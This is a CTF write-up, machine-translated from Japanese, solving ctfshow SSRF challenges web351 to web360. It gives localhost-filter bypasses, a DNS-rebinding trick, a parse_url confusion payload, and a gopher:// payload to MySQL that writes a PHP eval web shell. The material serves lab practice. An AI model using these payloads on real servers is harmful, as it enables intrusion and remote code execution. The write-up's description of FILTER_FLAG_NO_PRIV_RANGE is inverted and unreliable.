ctfshow SSRF web351-web360 wp

SSRFに会う

SSRFの脆弱性について話す

SSRFの詳細

SSRF(Server-Side Request Forgery)サーバーリクエストは偽造されています。SSRFは、サーバーによって開始されたリクエストを形成するために攻撃者によって構築されたセキュリティの脆弱性です。通常、SSRF攻撃は、外部からアクセスできない内部システムを標的にします。

web351

flag.phpページにアクセスすると、アクセス後に非ローカルユーザーにアクセスを禁止するように求められるため、ローカルアクセスにはssrfを使用します

url=http://localhost/flag.php

web352

それはまだflag.phpですが、127.0.0.1とlocalhostはフィルタリングされています。IPを数値に変換する

オンラインIPアドレスからInt番号、Int番号からIPアドレス

url=http://2130706433/flag.php

web353

/localhost|127\.0\.|\。/i

以前のペイロードには影響しません

url=http://2130706433/flag.php

web354

/localhost|1|0|。/

1と0は特に除外されます。

127.0.0.1(http://sudo.cc/)であるAレコードを見つけてから、Webサイトのドメイン名をペイロードのURLに変更します。

url=http://sudo.cc/flag.php

web355

これにはstrlen($ host)<=5が必要です

Baidu 127.0.0.1を再度記述できるようになると、このローカルIP、127.0.0.1と0.0.0.0の違いがわかりました。

オールゼロのアドレスは任意のホストを表すので、0が0.0.0.0を表すことができるかどうか試してみたいと思います

次に、ローカルでhttp:// 0 /にアクセスしてみてください。彼は、私のためにhttps://0.0.0.0/にジャンプしました。

このように、それは可能であるはずです、それでペイロードを構築することを試みてください、成功

url=http://0/flag.php

web356

今回は(strlen($ host)<= 3)、上記のペイロードを使用します

url=http://0/flag.php

web357

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
    
    
$ip = gethostbyname($x['host']);
echo '</br>'.$ip.'</br>';
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
    
    
    die('ip!');
}


echo file_get_contents($_POST['url']);
}
else{
    
    
    die('scheme');
}

if判断では:

  • FILTER_FLAG_IPV4-有効なIPv4IPであるために値が必要です
  • FILTER_FLAG_IPV6-有効なIPv6IPであるために値が必要です
  • FILTER_FLAG_NO_PRIV_RANGE-値はRFCで指定されたプライベートIPである必要があります(例:192.168.0.1)
  • FILTER_FLAG_NO_RES_RANGE-予約済みIP範囲外の値が必要です。このフラグは、IPV4およびIPV6の値を受け入れます。

DNS再バインドの脆弱​​性:DNS再バインドの脆弱​​性について話します

http://ceye.io/にアクセスしてアカウントを登録します。ログインすると、ドメイン名が割り当てられていることがわかります。

ここに画像の説明を挿入

DNSリバインディングを任意のIPとして追加し、別のIPを127.0.0.1として追加します。そうしないと、ペイロードに127.0.0.1IPが直接表示されます。

ここに画像の説明を挿入

次にPOST:(割り当てられたドメイン名の前にrを追加することを忘れないでください)

url=http://r.xxxxxx.ceye.io/flag.php

次に、さらに数回POSTします。

web358

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
    
    
    echo file_get_contents($url);
}

ここに画像の説明を挿入

ここでのテストは、parse_urlの解析の問題です。記事を参照してください:parse_url summary

http://ctf.@0/flag.php?show

web359、web360

打无密码的mysql

ここでは、前のコード監査で使用されたツールgopherus(https://github.com/tarunkant/Gopherus)を使用します。

で文章を書く

ここに画像の説明を挿入

次に、転送ポイントを見つけます

ここに画像の説明を挿入

ここで、gopher://127.0.0.1:3306 / _の背面をURLエンコードする必要があるという点があるので、メモ帳に置き換えました(%を%25に置き換えます)

gopher://127.0.0.1:3306/_%25a3%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%2547%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%2527%253c%253f%2570%2568%2570%2520%2565%2576%2561%256c%2528%2524%255f%2550%254f%2553%2554%255b%2531%255d%2529%253b%2520%253f%253e%2527%2520%2569%256e%2574%256f%2520%256f%2575%2574%2566%2569%256c%2565%2520%2527%252f%2576%2561%2572%252f%2577%2577%2577%252f%2568%2574%256d%256c%252f%2531%252e%2570%2568%2570%2527%253b%2501%2500%2500%2500%2501

次にreturlを押します

Web360はredisにヒットし、ツールの背後にあるmysqlをレイヤーredisに変更します。

ここに画像の説明を挿入

もう一度URLエンコードすることを忘れないでください。

おすすめ

転載: blog.csdn.net/qq_42880719/article/details/122854543